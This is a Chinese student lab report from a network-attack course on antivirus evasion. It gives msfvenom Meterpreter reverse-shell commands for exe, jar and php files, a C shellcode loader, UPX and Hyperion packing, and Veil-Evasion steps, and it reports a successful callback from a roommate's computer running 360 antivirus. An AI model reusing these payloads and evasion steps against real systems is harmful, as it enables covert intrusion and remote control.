zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践

    一、实践内容

    1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

    1.2 通过组合应用各种技术实现恶意代码免杀

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    实验内容

    任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 正确使用msf编码器,生成exe文件
      在实验二中使用msf生成了后门程序,我们可以使用Virscan这个网站对生成的后门程序进行扫描。

    用virscan扫描后结果如下:

    2、尝试用msf编码器对后门程序进行一次到多次的编码
    十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.1.238 LPORT=5323 -f exe > yjc_backdoor.exe其中-i为指定编码个数
    将编码十次后的可执行文件上传到Virscan扫描后结果如下:

    编码效果总得来说影响并不大,主要原因在于编码之后会有一段解码部分加入文件中,而杀软也会把这个部分作为识别出病毒的特征,另外msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征
    3、msfvenom生成jar文件
    生成Java后门程序使用命令:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 x> yjc_backdoor_java.jar
    如图所示:

    检测结果:

    msfvenom生成php文件:
    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 x> 20165323_backdoor.php
    如图所示:

    检测结果:

    使用veil-evasion生成后门程序及检测
    4、Veil-Evasion安装:
    利用命令sudo apt-get install veil-evasion进行安装,之后用veil打开veil,输入y继续安装直至完成,这期间可能要等待较长时间:
    安装成功后输入veil对此进行使用,启动后如图所示:

    接着输入use evasion进入veil-evasion

    用C语言重写meterperteruse c/meterpreter/rev_tcp.py

    设置反弹连接IP及端口,注意此处IP是kaliIP
    输入generate生成文件

    输入playload文件名字

    /var/lib/veil/output/compiled/test5323.exe这个路径下找我们生成的exe文件,对此进行检测,结果如下:

    5、半手工注入Shellcode并执行
    首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.238 LPORT=5323 -f c用c语言生成一段shellcode;

    创建一个文件20165323.c,然后将unsigned char buf[]赋值到其中

    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    。。。。。。
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    int main()
    {
       int (*func)() = (int(*)())buf;
       func();
    }```
    
    
    
    使用命令```i686-w64-mingw32-g++ 20165323.c -o 20165323.exe```编译.c文件为可执行文件
    将文件进行virscan:
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330215843713-363713737.png)
    将之前的半手工打造的shellcode复制命名为```yjc.exe```,进行加壳```upx yjc.exe -o yjc_upxed.exe```
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330220649264-1565078886.png)
    扫描结果为:
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330220746545-19181767.png)
    再进行加密壳Hyperion
      1、将上一个生成的文件拷贝到```/usr/share/windows-binaries/hyperion/```目录中
     2、进入目录```/usr/share/windows-binaries/hyperion/```中
      3、输入```wine hyperion.exe -v yjc_upxed.exe yjc_upxed_Hyperion.exe```
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330220913351-42462577.png)
    结果用处不大:
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330221224832-260945878.png)
    放到电脑管家中进行运行时,果断被阻止了:
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330231414185-409938903.png)
    
    
    此处我将它加入了可信任列表,进行运行后结果如下:
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330231425137-2046848661.png)
    
    
    
    
    
    ### 任务二:通过组合应用各种技术实现恶意代码免杀
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190330221432897-2006724511.png)
    其中通过shellcode+UPX加壳实现免杀未被查出来,在此基础上进行加密壳后反而被查了出来
    ### 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190331212539157-1246286145.png)
    
    
    ![](https://img2018.cnblogs.com/blog/1296510/201903/1296510-20190331212453559-1462115048.png)
    
    
    
    
    
    
    
    
     基础问题回答
    (1)杀软是如何检测出恶意代码的?
      * 基于特征码的检测
    1、简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    2、AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
    3、重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
    4、优点:检测效率高、能精确检测恶意软件类型和具体名称。
    5、缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
    * 启发式恶意软件检测
    1、根据些片面特征去推断。通常是因为缺乏精确判定依据。
    2、优点:可以检测0-day恶意软件;具有一定通用性
    3、缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
    * 基于行为的恶意软件检测
    1、基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
    2、优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
    3、缺点:可能误报、不能识别病毒名称、实现时有一定难度。
    (2)免杀是做什么?
    一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
    (3)免杀的基本方法有哪些?
    * 变形特征码:
    1、只有EXE:
    2、加壳:压缩壳 加密壳
    3、有shellcode:encode编码、payload重新编译
    4、有源代码:翻译成其他语言
    * 改变通讯方式
    1、尽量使用反弹式连接
    2、使用隧道技术
    3、加密通讯数据
    * 改变操作模式
    1、基于内存操作
    2、减少对系统的修改
    3、加入混淆作用的正常功能代码
    * 非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件等等。
    ## 离实战还缺些什么技术或步骤?
    1、我们怎么让后门进入别人的电脑?目前我们的方法非常的僵硬,我们还需要学会将后门放入一个正常程序,才能更好的植入他人的电脑
    2、我们现在用的都是同一个网段,一旦网段不同,可能我们就会瞬间爆炸了
    ## 实验遇到的问题及解决方法
    安装veil心态爆炸,老是会卡住,通过查询资料后,输入以下命令解决
    
    ``` mkdir -p ~/.cache/wine```
    
    ```cd ~/.cache/wine ```
    
    ```wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi```
    
    ```wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi ```
    ## 实践总结与体会
    这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。同时,安装软件配置环境真的很考验解决问题的能力。收获很多,之后想继续学习,争取做一个完全免杀的后门出来。
  • 相关阅读:
    S02_CH09_UART串口中断实验
    S02_CH08_ ZYNQ 定时器中断实验
    S02_CH07_ ZYNQ PL中断请求
    S02_CH06_XADC实验
    S02_CH05_UBOOT实验Enter a post title
    S02_CH04_User_IP实验Enter a post title
    S02_CH03_EMIO实验Enter a post title
    S02_CH02_MIO实验Enter a post title
    S02_CH01_Hello World实验
    bzoj4868 [Shoi2017]期末考试
  • 原文地址:https://www.cnblogs.com/asd65360323/p/10628696.html
Copyright © 2011-2022 走看看